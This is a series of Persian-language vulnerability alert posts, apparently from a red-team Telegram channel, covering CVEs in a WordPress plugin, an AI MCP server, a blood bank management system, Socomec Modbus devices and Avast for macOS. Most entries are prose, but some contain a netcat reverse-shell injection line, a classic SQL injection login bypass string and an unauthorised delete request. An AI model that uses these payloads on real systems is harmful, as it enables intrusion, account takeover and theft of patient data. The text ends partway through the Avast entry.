🚨 New Vulnerability Alert: CVE-2025-13615

🔴 Risk Level: CRITICAL (Score: 9.8)

تحلیل آسیب‌پذیری CVE-2025-13615

با سلام و احترام، گزارش تحلیل آسیب‌پذیری جدید در افزونه وردپرس به شرح زیر ارائه می‌گردد:

آسیب‌پذیری:
آسیب‌پذیری از نوع تغییر رمز عبور произвольный کاربر (Arbitrary User Password Change) در افزونه StreamTube Core برای وردپرس شناسایی شده است. این ضعف امنیتی تمام نسخه‌های 4.78 و قدیمی‌تر را تحت تأثیر قرار می‌دهد.

علت اصلی این آسیب‌پذیری، نقص در کنترل دسترسی به آبجکت‌های کاربری است. این نقص به یک مهاجم احراز هویت نشده اجازه می‌دهد تا مکانیزم‌های مجوزدهی را دور زده و به منابع سیستمی، از جمله اطلاعات حساب‌های کاربری، دسترسی پیدا کند.

نکته مهم: بهره‌برداری از این آسیب‌پذیری تنها در صورتی امکان‌پذیر است که گزینه "فیلدهای رمز عبور ثبت‌نام" (registration password fields) در تنظیمات پوسته فعال باشد.

تأثیر:
سطح تأثیر این آسیب‌پذیری بحرانی (Critical) ارزیابی می‌شود. یک مهاجم می‌تواند بدون نیاز به نام کاربری و رمز عبور، رمز عبور هر کاربری را در وب‌سایت، از جمله حساب administrator (مدیر کل)، تغییر دهد.

پیامدهای اصلی عبارتند از:
- تصاحب کامل حساب کاربری (Account Takeover): مهاجم کنترل کامل حساب کاربری قربانی را به دست می‌گیرد.
- دسترسی کامل به وب‌سایت: در صورت هدف قرار دادن حساب مدیر، مهاجم کنترل کامل وب‌سایت را به دست می‌آورد.
- سرقت اطلاعات: امکان دسترسی و سرقت اطلاعات حساس کاربران و وب‌سایت.
- تخریب و آسیب به اعتبار: مهاجم می‌تواند محتوای سایت را تغییر دهد، بدافزار تزریق کند یا وب‌سایت را از دسترس خارج نماید.

سناریو حمله:
یک سناریوی محتمل برای بهره‌برداری از این آسیب‌پذیری به شرح زیر است:

۱. مهاجم یک وب‌سایت وردپرسی را که از نسخه آسیب‌پذیر افزونه StreamTube Core استفاده می‌کند، شناسایی می‌کند.

۲. مهاجم بررسی می‌کند که آیا گزینه "فیلدهای رمز عبور ثبت‌نام" در تنظیمات پوسته فعال است یا خیر.

۳. مهاجم یک درخواست دستکاری‌شده (malicious request) به سمت وب‌سایت ارسال می‌کند. این درخواست حاوی نام کاربری قربانی (مثلاً admin) و رمز عبور جدید مورد نظر مهاجم است.

۴. به دلیل نقص در منطق برنامه، افزونه این درخواست را بدون بررسی هویت و مجوز درخواست‌کننده پردازش می‌کند.

۵. رمز عبور حساب کاربری مورد نظر (مثلاً admin) به رمز عبور جدیدی که مهاجم ارسال کرده، تغییر می‌یابد.

۶. در نهایت، مهاجم با استفاده از نام کاربری و رمز عبور جدید وارد سیستم شده و کنترل کامل حساب را به دست می‌گیرد.

---
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-35028

🔴 Risk Level: CRITICAL (Score: 9.1)

تحلیل آسیب‌پذیری | CVE-2025-35028
#Vulnerability #RCE #CommandInjection

---

📝 شرح آسیب‌پذیری:
یک آسیب‌پذیری حیاتی از نوع تزریق دستور (Command Injection) در کلاس EnhancedCommandExecutor مربوط به سرور HexStrike AI MCP شناسایی شده است. این مشکل در نسخه مربوط به کامیت 2f3a5512 (سپتامبر ۲۰۲۵) وجود دارد.

این آسیب‌پذیری به مهاجم اجازه می‌دهد با ارسال یک آرگومان خط فرمان که با کاراکتر سمی‌کالن (;) شروع می‌شود به یکی از نقاط پایانی API (API endpoint)، دستورات دلخواه خود را بر روی سرور اجرا کند. در پیکربندی پیش‌فرض، سرور هیچ‌گونه پاک‌سازی (Sanitization) یا اعتبارسنجی روی این ورودی‌ها انجام نمی‌دهد و دستور مخرب مستقیماً به پوسته سیستم‌عامل (Shell) ارسال می‌شود.

💥 تاثیرات:
مهم‌ترین پیامد این آسیب‌پذیری، اجرای کد از راه دور (Remote Code Execution - RCE) با بالاترین سطح دسترسی ممکن است. از آنجایی که سرور MCP معمولاً با دسترسی کاربر root اجرا می‌شود، بهره‌برداری موفق از این حفره امنیتی به مهاجم کنترل کامل سرور را می‌دهد.

تاثیرات بالقوه شامل موارد زیر است:
- سرقت، تغییر یا حذف کامل داده‌های حساس.
- نصب بدافزار، روت‌کیت یا ایجاد درهای پشتی (Backdoor).
- استفاده از سرور قربانی برای حمله به سایر سیستم‌های داخل شبکه.
- از کار انداختن کامل سرویس (Denial of Service).

🎭 سناریوی حمله:
یک مهاجم، API endpoint آسیب‌پذیر را شناسایی کرده و یک درخواست مخرب ایجاد می‌کند. در این درخواست، یکی از آرگومان‌های ارسالی به شکل زیر خواهد بود:
; nc -e /bin/bash 192.168.1.100 4444

سرور MCP این ورودی را بدون هیچ‌گونه بررسی دریافت کرده و یک دستور سیستمی مشابه زیر را در سمت سرور ترکیب و اجرا می‌کند:
/path/to/tool --parameter 'some_value' ; nc -e /bin/bash 192.168.1.100 4444

به دلیل وجود کاراکتر ;، سیستم‌عامل دستور اول را خاتمه داده و دستور دوم (ایجاد یک reverse shell به سمت مهاجم) را به عنوان یک دستور کاملاً مجزا با دسترسی root اجرا می‌کند. در نتیجه، مهاجم یک شل با دسترسی کامل روی سرور هدف به دست می‌آورد.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-63525

🔴 Risk Level: CRITICAL (Score: 9.6)

گزارش تحلیل آسیب‌پذیری: CVE-2025-63525

🚨 شرح آسیب‌پذیری:

آسیب‌پذیری با شناسه CVE-2025-63525 در سیستم مدیریت بانک خون نسخه 1.0 شناسایی شده است. این ضعف امنیتی از نوع "افزایش سطح دسترسی" (Privilege Escalation) است. یک مهاجم که به سیستم دسترسی احرازهویت‌شده (Authenticated) دارد، حتی با کمترین سطح دسترسی، می‌تواند با ارسال یک درخواست دستکاری‌شده به فایل delete.php، اقدام به حذف رکوردهایی کند که مجوز آن را ندارد.

ریشه مشکل در عدم بررسی صحیح مجوزهای کاربر درخواست‌دهنده توسط اسکریپت delete.php است. در واقع، سیستم فقط "هویت" کاربر را بررسی می‌کند نه "اختیارات" او را برای انجام عمل حذف.

💥 میزان تأثیر:

بهره‌برداری موفق از این آسیب‌پذیری می‌تواند منجر به پیامدهای جدی شود:

یکپارچگی داده‌ها: مهاجم قادر خواهد بود اطلاعات حیاتی مانند سوابق اهداکنندگان، موجودی بانک خون، یا حتی حساب‌های کاربری دیگر (شامل مدیران) را به صورت غیرمجاز حذف کند.

ممانعت از سرویس (DoS): با حذف داده‌های کلیدی یا حساب‌های کاربری اصلی، عملکرد کل سیستم مختل شده و از دسترس کاربران قانونی خارج می‌شود.

پتانسیل حملات بیشتر: این آسیب‌پذیری می‌تواند به عنوان نقطه‌ای برای حملات زنجیره‌ای مورد استفاده قرار گیرد و امنیت کلی سیستم را به خطر اندازد.

---

🎭 سناریوی حمله:

۱. مهاجم یک حساب کاربری با سطح دسترسی پایین در سیستم مدیریت بانک خون ثبت می‌کند.

۲. پس از ورود به سیستم، با ابزارهای مانیتورینگ ترافیک، درخواست‌های ارسالی به سرور را تحلیل می‌کند و متوجه می‌شود که عملیات حذف از طریق فایلی به نام delete.php و با یک پارامتر ID (مثلاً id=123) انجام می‌شود.

۳. مهاجم با حدس زدن یا شمارش (Enumeration)، شناسه‌ی (ID) رکوردهای مهمی را که به آن‌ها دسترسی ندارد (مانند سوابق بیماران یا کاربران دیگر) پیدا می‌کند.

۴. سپس یک درخواست HTTP دستکاری‌شده را مستقیماً به سرور ارسال می‌کند. برای مثال، برای حذف رکورد یک کاربر دیگر با شناسه 456، درخواستی مشابه زیر ارسال می‌کند:
GET /delete.php?user_id=456

۵. از آنجایی که اسکریپت delete.php سطح دسترسی کاربر را برای حذف رکورد با شناسه 456 بررسی نمی‌کند، درخواست مخرب را پردازش کرده و رکورد مورد نظر را حذف می‌کند. به این ترتیب، مهاجم با موفقیت یکپارچگی داده‌های سیستم را نقض می‌کند.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-63531

🔴 Risk Level: CRITICAL (Score: 10.0)

🔎 شرح آسیب‌پذیری:

یک آسیب‌پذیری از نوع تزریق SQL با شناسه CVE-2025-63531 در سیستم مدیریت بانک خون نسخه 1.0 شناسایی شده است.

این ضعف امنیتی در کامپوننت receiverLogin.php وجود دارد. مشکل اصلی، عدم پاکسازی و اعتبارسنجی صحیح ورودی‌های کاربر در فیلدهای remail و rpassword است. در نتیجه، یک مهاجم می‌تواند با ارسال مقادیر دستکاری‌شده، کدهای SQL دلخواه خود را به کوئری پایگاه داده تزریق کند.

---

⚠️ تأثیر:

اصلی‌ترین پیامد این آسیب‌پذیری، دور زدن کامل سیستم احراز هویت است.

مهاجم می‌تواند بدون نیاز به نام کاربری و رمز عبور معتبر، به پنل مدیریت یا بخش‌های حساس سیستم دسترسی غیرمجاز پیدا کند. این دسترسی می‌تواند منجر به سرقت، تغییر یا حذف اطلاعات حساس بیماران، اهداکنندگان و سوابق پزشکی ذخیره‌شده در سیستم شود.

---

🎯 سناریوی حمله:

۱. مهاجم به صفحه ورود سیستم (receiverLogin.php) مراجعه می‌کند.

۲. در فیلد ایمیل یا رمز عبور، به جای اطلاعات واقعی، یک قطعه کد SQL مخرب مانند ' OR '1'='1' -- وارد می‌کند.

۳. سرور این ورودی را بدون پاکسازی در کوئری پایگاه داده قرار می‌دهد. کوئری نهایی چیزی شبیه به SELECT * FROM users WHERE remail = '' OR '1'='1' -- ' AND rpassword = '...' خواهد بود.

۴. شرط '1'='1' همیشه درست (True) ارزیابی می‌شود و باعث می‌شود پایگاه داده اولین رکورد کاربر را بازگردانده و سیستم به اشتباه تصور کند که احراز هویت موفقیت‌آمیز بوده است. در نتیجه، مهاجم با سطح دسترسی کاربر قربانی به سیستم وارد می‌شود.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2024-48882

🟠 Risk Level: HIGH (Score: 8.6)

گزارش تحلیل آسیب‌پذیری: CVE-2024-48882
عنوان: منع سرویس در تجهیزات Socomec DIRIS Digiware M-70

📄 شرح آسیب‌پذیری:
یک آسیب‌پذیری از نوع «منع سرویس» (Denial of Service) در عملکرد پروتکل Modbus TCP دستگاه Socomec DIRIS Digiware M-70 با نسخه 1.6.9 شناسایی شده است. این ضعف امنیتی به مهاجم اجازه می‌دهد تا با ارسال یک بسته شبکه خاص و دستکاری‌شده، عملکرد دستگاه را متوقف کند.

💥 تأثیر:
یک مهاجم بدون نیاز به احراز هویت (Unauthenticated) می‌تواند با ارسال یک بسته مخرب به دستگاه هدف، باعث از کار افتادن و عدم پاسخگویی کامل آن شود. این حمله منجر به یک وضعیت منع سرویس (DoS) شده و می‌تواند عملیات‌های حیاتی مانیتورینگ و کنترل صنعتی که به این تجهیز وابسته هستند را مختل سازد.

🎭 سناریوی حمله:
مهاجمی که به شبکه محلی دستگاه آسیب‌پذیر دسترسی دارد، یک بسته Modbus TCP با ساختار نامعتبر را به پورت مربوطه ارسال می‌کند. سفت‌افزار (Firmware) دستگاه قادر به پردازش صحیح این بسته غیرمنتظره نبوده و دچار کرش (Crash) یا هنگ (Freeze) می‌شود. در این حالت، دستگاه تا زمان راه‌اندازی مجدد دستی (Manual Reboot) از دسترس خارج خواهد شد.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-23417

🟠 Risk Level: HIGH (Score: 8.6)

🛡️ توضیحات آسیب‌پذیری:
یک آسیب‌پذیری از نوع "ممانعت از سرویس" (Denial of Service - DoS) با شناسه CVE-2025-23417 در دستگاه Socomec DIRIS Digiware M-70 با فریمور نسخه 1.6.9 شناسایی شده است.

این ضعف امنیتی در نحوه پردازش بسته‌های شبکه مربوط به پروتکل Modbus RTU over TCP وجود دارد. یک مهاجم می‌تواند با ارسال یک بسته شبکه با ساختار خاص و دستکاری‌شده (Specially Crafted Packet)، عملکرد دستگاه را مختل کرده و آن را از دسترس خارج کند.

مهم‌ترین نکته این است که بهره‌برداری از این آسیب‌پذیری نیازی به احراز هویت ندارد و مهاجم می‌تواند از راه دور حمله را اجرا کند.


💥 تأثیرات:
تأثیر اصلی این آسیب‌پذیری، ایجاد وضعیت ممانعت از سرویس (Denial of Service) است.

در صورت بهره‌برداری موفق، دستگاه هدف از کار افتاده و دیگر به درخواست‌های شبکه پاسخ نخواهد داد. این امر منجر به موارد زیر می‌شود:
- قطع نظارت و مانیتورینگ بر سیستم‌های متصل.
- از دست رفتن داده‌های عملیاتی در لحظه.
- نیاز به راه‌اندازی مجدد (Reboot) دستی دستگاه برای بازگرداندن سرویس به حالت عادی.


🎯 سناریوی حمله:
یک مهاجم با دسترسی به شبکه (داخلی یا از طریق اینترنت در صورت عدم وجود فایروال مناسب)، دستگاه آسیب‌پذیر DIRIS Digiware M-70 را شناسایی می‌کند.

سپس، مهاجم یک بسته شبکه Modbus مخرب و غیراستاندارد را ایجاد کرده و آن را به صورت احراز هویت نشده به پورت سرویس‌دهنده دستگاه ارسال می‌کند.

به محض دریافت و پردازش این بسته، سرویس مربوطه در دستگاه دچار اختلال شده و از کار می‌افتد (Crash). در نتیجه، دستگاه تا زمان راه‌اندازی مجدد، از دسترس خارج می‌شود و ارتباط خود را با سیستم‌های مدیریتی از دست می‌دهد.
---
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-26858

🟠 Risk Level: HIGH (Score: 8.6)

تحلیل آسیب‌پذیری CVE-2025-26858
---

شرح آسیب‌پذیری:

یک آسیب‌پذیری از نوع سرریز بافر (Buffer Overflow) در بخش عملکرد پروتکل Modbus TCP دستگاه Socomec DIRIS Digiware M-70 با فریم‌ور نسخه 1.6.9 شناسایی شده است. این ضعف امنیتی به یک مهاجم اجازه می‌دهد تا با ارسال بسته‌های شبکه که به صورت خاص دستکاری شده‌اند، باعث سرریز شدن حافظه موقت (بافر) در دستگاه هدف شود.

تأثیر:

تأثیر اصلی این آسیب‌پذیری، ممانعت از سرویس (Denial of Service) است. بهره‌برداری موفق از این حفره امنیتی منجر به از کار افتادن کامل دستگاه یا سرویس Modbus TCP آن می‌شود. در نتیجه، دستگاه دیگر قادر به پاسخگویی به درخواست‌های شبکه نخواهد بود که این امر می‌تواند باعث اختلال جدی در عملیات نظارت و کنترل در محیط‌های صنعتی (ICS) گردد. این حمله بدون نیاز به هیچ‌گونه احراز هویت قابل اجرا است.

سناریوی حمله:

۱. شناسایی: مهاجم یک دستگاه آسیب‌پذیر Socomec DIRIS Digiware M-70 را در شبکه شناسایی می‌کند.

۲. ارسال بسته‌ها: مهاجم بدون نیاز به لاگین، مجموعه‌ای از بسته‌های Modbus TCP دستکاری‌شده و مخرب را به سمت پورت مربوطه در دستگاه هدف ارسال می‌کند.

۳. بهره‌برداری: دستگاه به دلیل عدم اعتبارسنجی صحیح حجم داده‌های ورودی، قادر به مدیریت بسته‌های دریافتی نیست و وضعیت سرریز بافر رخ می‌دهد.

۴. نتیجه: سرویس Modbus TCP دستگاه کرش کرده و از دسترس خارج می‌شود. برای بازگرداندن دستگاه به حالت عادی، به راه‌اندازی مجدد (Reboot) دستی نیاز خواهد بود.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-55221

🟠 Risk Level: HIGH (Score: 8.6)

تحلیل آسیب‌پذیری | CVE-2025-55221

شرح آسیب‌پذیری:
یک آسیب‌پذیری از نوع منع سرویس (Denial of Service) با شناسه CVE-2025-55221 در دستگاه Socomec DIRIS Digiware M-70 با نسخه فریمور 1.6.9 شناسایی شده است. این ضعف امنیتی در عملکرد پروتکل‌های Modbus TCP و Modbus RTU over TCP USB وجود دارد.

این آسیب‌پذیری با ارسال یک بسته شبکه‌ی مخرب و دستکاری‌شده به پورت 502 (مربوط به Modbus TCP) فعال می‌شود. نکته حائز اهمیت این است که مهاجم برای اجرای این حمله نیازی به هیچ‌گونه احراز هویت ندارد و صرفاً دسترسی به شبکه دستگاه کافی است.

تأثیر:
موفقیت‌آمیز بودن این حمله منجر به از کار افتادن کامل دستگاه (Denial of Service) می‌شود. در نتیجه، تمام فرآیندهای نظارتی و کنترلی که به این دستگاه وابسته هستند، متوقف شده و باعث اختلال جدی در عملیات صنعتی یا زیرساختی می‌گردد. این امر می‌تواند منجر به از دست رفتن داده‌های مانیتورینگ و قطع ارتباط مدیریتی با دستگاه شود.

سناریوی حمله:
یک مهاجم غیرمجاز (unauthenticated) که به شبکه دستگاه دسترسی دارد، یک دستگاه آسیب‌پذیر Socomec DIRIS Digiware M-70 را شناسایی می‌کند. سپس، یک بسته شبکه‌ی خاص و مخرب برای پروتکل Modbus TCP می‌سازد و آن را به پورت 502 دستگاه هدف ارسال می‌کند.

دستگاه به دلیل عدم توانایی در پردازش صحیح این بسته نامتعارف، دچار اختلال عملکردی شده و سرویس‌دهی آن به طور کامل متوقف می‌شود و از دسترس خارج می‌گردد.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-63532

🔴 Risk Level: CRITICAL (Score: 9.6)

🚨 تحلیل آسیب‌پذیری: CVE-2025-63532

گزارش تحلیل یک آسیب‌پذیری از نوع تزریق SQL در سیستم مدیریت بانک خون.

---

🔎 توضیحات آسیب‌پذیری:
یک آسیب‌پذیری از نوع تزریق SQL (SQL Injection) در سیستم مدیریت بانک خون نسخه 1.0 شناسایی شده است. این ضعف امنیتی در کامپوننت cancel.php وجود دارد.

مشکل اصلی این است که برنامه، ورودی‌های دریافتی از کاربر (به‌طور مشخص در فیلد جستجو) را به درستی اعتبارسنجی و پاکسازی (Sanitize) نمی‌کند. این نقص به مهاجم اجازه می‌دهد تا با ارسال کدهای SQL مخرب، ساختار کوئری‌های پایگاه داده را دستکاری کرده و دستورات دلخواه خود را اجرا کند.

⚠️ تأثیرات:
مهاجمی که از این آسیب‌پذیری بهره‌برداری کند، قادر خواهد بود:

- مکانیزم ورود و احراز هویت را دور بزند و بدون نیاز به نام کاربری و رمز عبور، به پنل مدیریت دسترسی پیدا کند.
- اطلاعات حساس پایگاه داده، مانند اطلاعات اهداکنندگان و بیماران را سرقت کند.
- داده‌های موجود در سیستم را تغییر داده یا حذف کند.
- در موارد حاد، کنترل کامل پایگاه داده و حتی سرور را به دست بگیرد.

🎯 سناریوی حمله:
یک مهاجم می‌تواند سناریوی زیر را اجرا کند:

۱. مهاجم به صفحه cancel.php که دارای یک فیلد جستجوی آسیب‌پذیر است، مراجعه می‌کند.

۲. به جای وارد کردن یک عبارت جستجوی عادی، یک payload مخرب SQL مانند ' OR '1'='1' -- را در فیلد جستجو وارد می‌کند.

۳. سرور این ورودی را بدون پاکسازی، مستقیماً در کوئری SQL خود قرار می‌دهد. شرط '1'='1' که همیشه درست است، باعث می‌شود سیستم احراز هویت را نادیده بگیرد.

۴. در نتیجه، مهاجم بدون نیاز به اطلاعات کاربری معتبر، به بخش‌های حساس سیستم که نیاز به لاگین دارند، دسترسی پیدا می‌کند.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-63533

🟠 Risk Level: HIGH (Score: 8.5)

تحلیل آسیب‌پذیری CVE-2025-63533

---

شرح آسیب‌پذیری:

یک آسیب‌پذیری از نوع Cross-Site Scripting (XSS) در «سیستم مدیریت بانک خون نسخه ۱.۰» شناسایی شده است. این ضعف امنیتی در کامپوننت‌های updateprofile.php و rprofile.php وجود دارد.

برنامه ورودی‌های کاربر را به درستی پاکسازی (Sanitize) یا کدگذاری (Encode) نمی‌کند و به مهاجم اجازه می‌دهد تا کدهای مخرب جاوا اسکریپت را در پارامترهایی مانند rname، remail، rpassword و ... تزریق کند. این کدها هنگام مشاهده صفحه توسط قربانی، در مرورگر او اجرا می‌شوند.


تأثیر:

مهاجم با بهره‌برداری از این آسیب‌پذیری می‌تواند اقدامات مخرب زیر را در مرورگر کاربر قربانی انجام دهد:

- سرقت کوکی‌ها و اطلاعات نشست (Session Hijacking)
- تغییر ظاهر صفحه برای اجرای حملات فیشینگ
- ریدایرکت کردن کاربر به وب‌سایت‌های مخرب
- دسترسی به اطلاعات حساس کاربر که در صفحه نمایش داده می‌شود
- اجرای کدهای دلخواه در بستر مرورگر قربانی


سناریوی حمله:

۱. مهاجم یک کد مخرب جاوا اسکریپت (Payload) را آماده می‌کند. برای مثال، کدی که کوکی نشست کاربر را سرقت کرده و به سرور مهاجم ارسال می‌کند.

۲. مهاجم وارد بخش ویرایش پروفایل کاربری خود در سیستم شده و در یکی از فیلدهای آسیب‌پذیر مانند rname (نام)، کد مخرب خود را به جای نام واقعی وارد و پروفایل را ذخیره می‌کند.

۳. مدیر سیستم یا کاربر دیگری برای مشاهده پروفایل مهاجم به صفحه مربوطه مراجعه می‌کند.

۴. سرور، اطلاعات پروفایل مهاجم (شامل کد مخرب) را از پایگاه داده بازیابی کرده و بدون پاکسازی، در صفحه قربانی نمایش می‌دهد.

۵. کد جاوا اسکریپت مخرب در مرورگر قربانی اجرا شده، کوکی نشست او را سرقت می‌کند و به سرور تحت کنترل مهاجم ارسال می‌نماید. مهاجم اکنون می‌تواند با استفاده از این کوکی، به حساب کاربری قربانی دسترسی پیدا کند.
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-63535

🔴 Risk Level: CRITICAL (Score: 9.6)

🔬 توضیحات آسیب‌پذیری:

آسیب‌پذیری از نوع تزریق SQL (SQL Injection) با شناسه CVE-2025-63535 در سیستم مدیریت بانک خون نسخه 1.0 شناسایی شده است. این ضعف امنیتی در کامپوننت abs.php وجود دارد و دلیل آن، عدم اعتبارسنجی و پاکسازی صحیح ورودی‌های دریافتی از کاربر در کوئری‌های دیتابیس است.

💥 تأثیرات:

یک مهاجم می‌تواند با بهره‌برداری از این آسیب‌پذیری، مکانیزم احراز هویت را دور زده و دسترسی غیرمجاز به سیستم پیدا کند. این دسترسی می‌تواند منجر به موارد زیر شود:
- مشاهده، تغییر یا حذف اطلاعات حساس (مانند سوابق اهداکنندگان خون و بیماران)
- اجرای دستورات دلخواه بر روی پایگاه داده
- به خطر افتادن کامل محرمانگی، یکپارچگی و در دسترس بودن داده‌ها

🎭 سناریوی حمله:

مهاجم با ارسال یک درخواست دستکاری‌شده به فایل abs.php، در فیلد جستجوی مربوطه، به جای یک عبارت عادی، یک قطعه کد SQL مخرب تزریق می‌کند. برای مثال، کدی که نتیجه‌ی شرط لاگین را همیشه TRUE برمی‌گرداند.

از آنجایی که برنامه این ورودی را پاکسازی نمی‌کند، کد مخرب مستقیماً در کوئری دیتابیس اجرا شده و باعث می‌شود سیستم، مهاجم را به عنوان یک کاربر معتبر شناسایی کند. در نتیجه، مهاجم بدون نیاز به نام کاربری و رمز عبور، به پنل مدیریتی یا بخش‌های حساس سیستم دسترسی پیدا می‌کند.

---
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-10101

🟠 Risk Level: HIGH (Score: 8.1)

تحلیل آسیب‌پذیری | CVE-2025-10101
نرم‌افزار: Avast Antivirus on MacOS

📄 Vulnerability Description:
یک آسیب‌پذیری از نوع سرریز بافر مبتنی بر هیپ (Heap-based Buffer Overflow) و نوشتن خارج از محدوده (Out-of-bounds Write) در آنتی‌ویروس Avast بر روی سیستم‌عامل macOS شناسایی شده است.

این ضعف امنیتی زمانی فعال می‌شود که آنتی‌ویروس یک فایل دستکاری‌شده با فرمت Mach-O (فرمت فایل‌های اجرایی macOS) را پردازش کند. نسخه‌های نرم‌افزار قبل از 3.9.2025 تحت تأثیر این آسیب‌پذیری قرار دارند.

💥 Impact:
مهاجمی که موفق به بهره‌برداری از این آسیب‌پذیری شود، می‌تواند به دو شکل به سیستم آسیب برساند. اول، امکان اجرای کد محلی (Local Code Execution) وجود دارد که به مهاجم اجازه می‌دهد با سطح دسترسی آنتی‌ویروس، کدهای مخرب را بر روی سیستم قربانی اجرا کند.

دوم، حمله می‌تواند منجر به ممانعت از سرویس (Denial of Service) شود. در این حالت، آنتی‌ویروس به طور کامل از کار افتاده و سیستم بدون هیچ‌گونه حفاظت امنیتی در برابر تهدیدات دیگر رها می‌شود.

👣 Scenario:
یک سناریوی حمله محتمل به این صورت است که مهاجم ابتدا یک فایل Mach-O مخرب ایجاد می‌کند که به طور خاص برای فعال‌سازی آسیب‌پذیری سرریز بافر طراحی شده است.

سپس، این فایل از طریق روش‌های مهندسی اجتماعی مانند یک پیوست ایمیل فیشینگ یا لینک دانلود به سیستم قربانی (که از نسخه آسیب‌پذیر Avast در macOS استفاده می‌کند) تحویل داده می‌شود.

به محض اینکه آنتی‌ویروس Avast اقدام به اسکن این فایل می‌کند، چه به صورت خودکار در پس‌زمینه و چه به صورت دستی توسط کاربر، کد آسیب‌پذیر در نرم‌افزار فعال می‌شود. این امر منجر به از کار افتادن آنتی‌ویروس یا اجرای دستورات مخرب مهاجم بر روی سیستم می‌گردد.

---
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-55222

🟠 Risk Level: HIGH (Score: 8.6)

تحلیل آسیب‌پذیری CVE-2025-55222

---

شرح آسیب‌پذیری:

یک آسیب‌پذیری از نوع منع سرویس (Denial of Service) با شناسه CVE-2025-55222 در تجهیزات Socomec DIRIS Digiware M-70 با نسخه فریم‌ور 1.6.9 شناسایی شده است.

این آسیب‌پذیری به دلیل نقص در پردازش بسته‌های مربوط به پروتکل Modbus RTU over TCP بر روی پورت 503 رخ می‌دهد.

یک مهاجم می‌تواند با ارسال یک بسته شبکه دستکاری‌شده و بدون نیاز به احراز هویت، این آسیب‌پذیری را فعال کرده و باعث از کار افتادن سرویس‌دهی دستگاه شود.

تأثیر:

مهم‌ترین تأثیر این آسیب‌پذیری، منع سرویس (DoS) است. با بهره‌برداری موفق از این نقص، دستگاه DIRIS Digiware M-70 از دسترس خارج شده و عملکرد عادی خود را از دست می‌دهد. این امر می‌تواند منجر به توقف کامل یا راه‌اندازی مجدد (Reboot) دستگاه شود.

در نتیجه، قابلیت‌های نظارت و کنترل بر سیستم‌های متصل (مانند سیستم‌های مدیریت انرژی و برق) به طور موقت یا دائم تا زمان رفع مشکل از بین می‌رود و این موضوع می‌تواند در محیط‌های صنعتی بسیار حیاتی باشد.

سناریو:

یک مهاجم با دسترسی به شبکه داخلی (OT/IT) که دستگاه Socomec در آن قرار دارد، سناریوی زیر را اجرا می‌کند:

۱. مهاجم آدرس IP دستگاه آسیب‌پذیر را در شبکه شناسایی می‌کند.
۲. با استفاده از ابزارهای تخصصی، یک بسته Modbus مخرب و با ساختار خاص ایجاد می‌کند.
۳. این بسته را به صورت مستقیم به پورت 503 دستگاه هدف ارسال می‌کند.
۴. دستگاه قادر به پردازش صحیح بسته نبوده و دچار اختلال عملکردی شدید (Crash) یا توقف سرویس‌دهی می‌شود. در این حالت، ارتباط با دستگاه تا زمان راه‌اندازی مجدد دستی قطع خواهد شد.

---
🔗 Our Channels:
🆔 @RedTeamAPT
🤖 @RedTeamAPT_bot
🚨 @RedTeamCVE
📡 @RedTeamSignal

🚨 New Vulnerability Alert: CVE-2025-8351

🔴 Risk Level: CRITICAL (Score: 9.0)

تحلیل آسیب‌پذیری CVE-2025-8351

شرح آسیب‌پذیری: 📝
یک آسیب‌پذیری حاد از نوع سرریز بافر مبتنی بر هیپ (Heap-based Buffer Overflow) و خواندن خارج از محدوده (Out-of-bounds Read) در موتور اسکن آنتی‌ویروس Avast بر روی سیستم‌عامل macOS شناسایی شده است.

این ضعف امنیتی با شناسه CVE-2025-8351، زمانی فعال می‌شود که موتور آنتی‌ویروس یک فایل با ساختار دستکاری‌شده و مخرب را اسکن می‌کند. در این فرآیند، برنامه به دلیل عدم مدیریت صحیح حافظه، داده‌هایی را خارج از محدوده بافر تخصیص‌داده‌شده می‌خواند یا در آن می‌نویسد.

محصول و نسخه‌های تحت تاثیر:
محصول: Avast Antivirus on MacOS
نسخه‌های آسیب‌پذیر: از 8.3.70.94 تا قبل از 8.3.70.98

تاثیرات بالقوه: 💥
بهره‌برداری موفقیت‌آمیز از این آسیب‌پذیری می‌تواند منجر به دو پیامد اصلی و خطرناک شود:

۱. اجرای کد دلخواه (Local Code Execution):
مهاجم می‌تواند با ارسال یک فایل مخرب، کدی را با سطح دسترسی فرآیند موتور آنتی‌ویروس (که معمولاً بالا است) بر روی سیستم قربانی اجرا کند. این امر به مهاجم اجازه می‌دهد تا کنترل سیستم را به دست گرفته، بدافزارهای دیگر را نصب کرده یا به اطلاعات حساس دسترسی پیدا کند.

۲. از کار انداختن سرویس (Denial-of-Service):
